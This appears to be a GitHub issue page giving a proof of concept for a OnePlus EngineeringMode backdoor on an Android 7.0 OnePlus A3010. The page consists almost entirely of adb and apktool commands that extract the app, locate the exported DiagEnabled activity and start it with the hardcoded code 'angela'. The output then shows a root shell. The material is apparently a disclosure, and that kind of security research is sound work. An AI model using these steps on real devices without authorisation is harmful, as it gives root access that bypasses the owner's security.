-
Notifications
You must be signed in to change notification settings - Fork 934
Open
Labels
Description
Tested on ONEPLUS A3010
$ adb shell getprop ro.build.version.release
7.0
$ adb shell pm list packages -f
$ adb pull /system/app/EngineeringMode/ EngineeringMode.apk
$ cd EngineeringMode.apk
$ apktool -d EngineeringMode.apk
$ grep -Ri "com.android.engineeringmode" EngineeringMode/AndroidManifest.xml
<activity android:configChanges="keyboardHidden|orientation" android:name=".qualcomm.QualCommNvShow"/>
<activity android:configChanges="keyboardHidden|orientation" android:excludeFromRecents="true" android:name=".qualcomm.DiagEnabled" android:screenOrientation="portrait">
<intent-filter>
<action android:name="com.android.engineeringmode.qualcomm.DiagEnabled"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
$ adb shell am start -n com.android.engineeringmode/.qualcomm.DiagEnabled --es "code" "angela"
Starting: Intent { cmp=com.android.engineeringmode/.qualcomm.DiagEnabled (has extras) }
$ adb shell id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0